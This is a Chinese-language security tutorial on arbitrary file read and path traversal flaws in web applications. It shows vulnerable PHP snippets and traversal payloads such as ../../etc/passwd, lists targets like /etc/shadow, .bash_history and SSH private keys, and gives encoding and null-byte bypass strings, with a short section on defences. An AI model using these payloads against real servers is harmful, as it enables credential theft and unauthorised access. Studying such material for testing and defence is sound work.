任意文件读取漏洞
原理
任意文件读取是属于文件操作漏洞的一种,通过提交专门设计的输入,攻击者就可以在被访问的文件系统中读取或写入任意内容,往往能够使攻击者从服务器上获取敏感文件,正常读取的文件没有经过校验或者校验不严格,用户可以控制这个变量或者变量读取任意文件。 一般任意文件读取漏洞可以读取配置信息甚至系统重要文件。
危害
任意文件读取的危害往往大于目录遍历漏洞,任意文件读取不仅会泄露网站的结构目录,一些敏感文件还会被通过构造特殊的字符结构下载下来,比如说../或者~/导致服务器的重要文件信息泄露,比如说../etc/passwd,../etc/shodan,~/bash_history等文件,或者下载脚本配置文件,网站文件进一步审计,得到危害更大的漏洞进一步利用
漏洞产生的原因
存在读取文件的函数
读取文件的路径用户可控,且未校验或校验不严
输出了文件内容
任意文件读取
<?php $filename=”test.txt”; readfile($filename); ?>
<?php $filename=”test.txt”; echo file_get_contents($filename); ?>
文件读取函数
readfile()、file_get_contents()、fopen()中,$filename没有经过校验或者校验不合格,用户可控制变量读取任意文件,如/etc/passwd、./index.php、/config.ini。
如何发现?
一般文件读取或者文件下载都会跟一个参数名在后面,比如说
http://127.0.0.1/file.php?filename=xxx.txt
上面的txt就会被下载下来,但是如果即将xxx.txt换成其他的参数呢?比如说../etc/passwd
http://127.0.0.1/file.php?filename=../../../../etc/passwd
如果存在回显,则代表该网站存在任意文件读取漏洞
代码示例:
以下代码均存在文件读取的危险
<?php
$file = $_GET['filename'];
readfile($file);
?>
<?php
$file = '1.txt';
print(file_get_contents($file));
?>
<?php
$file = '1.txt';
include $file;
?>
<?php
$file = '1.txt';
require $file;
?>
利用思路
1、一般拿到一个任意文件读取得先判断权限大不大,如果权限够大的话可以直接先把/etc/sadow读下来,权限不够就读/etc/passwd,先把用户确定下来,方便后续操作
2、读取各个用户的.bash_history能翻有用的信息,如编辑一些敏感文件
3、读取程序配置文件(如数据库连接文件,可以利用数据库写shell)
4、读取中间件配置文件(weblogic/tomcat/apache的密码文件、配置文件,确定绝对路径,方便后面读源码)
5、读取一些软件的运维配置文件(redis/rsync/ftp/ssh等等程序的数据、配置、文档记录)
6、读取程序源代码,方便后面做代码审计,找突破口
7、读取web应用日志文件,中间件的日志文件,其他程序的日志,系统日志等(可以网站后台地址、api接口、备份、等等敏感信息)
8、还有就是可以用字典先跑一波(字典之前有分享过),信息收集还是要全面点。
敏感信息
windows
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
Linux
/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts
//ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
中间件
/usr/local/apache/conf/httpd.conf
/var/www/html/apache/conf/httpd.conf
/home/httpd/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/etc/apache/httpd.conf
/usr/local/lib/php.ini
/etc/httpd/conf/httpd.conf
/usr/local/app/apache2/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
/usr/local/app/php5/lib/php.ini
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/lighttpd/lighttpd.conf
/var/log/www/error.log
/usr/local/lighttpd-1.4.35/lighttpd.conf
/usr/local/services/apache-tomcat-8.0.23/logs/catalina.out
/usr/local/services/jetty-8.1.16/logs/stderrout.log
/usr/local/services/jetty-8.1.16/etc/jetty.xml
/etc/nginx/nginx.conf
/var/www/html
/usr/local/services/nginx-1.6.2/logs/access.log
/usr/local/services/nginx-1.6.2/logs/error.log
/usr/local/services/nginx-1.6.2/nginx.conf
/usr/local/services/nginx-1.6.2/conf/nginx.conf
/usr/local/services/nginx-1.6.2/conf/proxy.conf
/usr/local/services/nginx-1.6.2/conf/extra/haolaiyao.conf
注意
任意文件读取/etc/passwd
提取passwd第一列,即root等一系列用户名
读history:../../root/.bash_history
暴破所有用户的.bash_history:../../../home/§root§/.bash_history
历史命令重点关注出现的密码、路径、配置文件路径、其他关联IP、日志文件、war包、备份文件路径等等,可进一步读取或利用。
/root/.ssh/id_rsa 私钥
/root/.ssh/authorized_keys 公钥存储文件
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
私钥文件如果没有设定密码保护,便可直接获取到进行登录到服务器,或使用xshell等软件选择证书登录。
ssh -i id_rsa root@IP地址
/etc/passwd
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin ......
用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell
/etc/shadow
root:$1$v2wT9rQF$XSpGgoB93STC4EFSlgpjg1:14181:0:99999:7:::
$id$salt$密文
id代表的是使用不同的加密算法,不同的系统使用的算法也不尽相同。salt是加密的时候需要用到盐。最后就是密文。
注意:如果密码字符串为*,表示系统用户不能被登入,为!表示用户名被禁用,如果密码字符串为空,表示没有密码。
$1 | md5 |
$2a | blowfish |
$2y | blowfish |
$5 | sha-256 |
$6 | sha-512 |
绕过思路
1.编码绕过,有些网站也是会将文件名转成 base64或者其他编码格式再去读取,比如:
http://127.0.0.1/file.php?filename=aW5kZXgucGhw
// 对应index.php
通过编码后进行读取文件,如果要读取其他文件,同理,先编码,后传入
2.使用url编码代替.或者/
http://127.0.0.1/file.php?filename=.%2F.%2F.%2F.%2Fetc%2Fpasswd
使用%2F代替/
或者二次编码(%25)
http://127.0.0.1/file.php?filename=.%252F.%252F.%252F.%252Fetc%2Fpasswd
%25是%
%2F是/
%252F会先解开%25,解开后是%,然后在拼接2F就会变成%2F=/
3.如果对文件名有限制,可以试着用 %00截断
http://127.0.0.1/file.php?filename=../../../1.php%00.jpg
%00截断对PHP的版本有要求:PHP<5.3.4
4.加入+
?filename=.+./.+./bin/redacted.dll
5.\
?filename=..%5c..%5c/windows/win.ini
6.Java %c0%ae 安全模式绕过
?filename=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
防御
对传入的文件名进行判断限制过滤
合理控制目录读取的权限
采用白名单读取文件
打开php.ini文件找到open_basedir,然后去掉前面的分号(;),在等于号(open_basedir=)后面写入限制读取的范围
过滤./ ~/等字符
常见的URL格式和参数
download.php?file=
download.php?filename=
file.php?file=
filename.php?name=
readfile.php?filename=
file.php?url=
file.php?dirname=
file.php?f=
...
value:
&dir=
&name=
&dir_name=
&filename=
&path=
&filepath=
...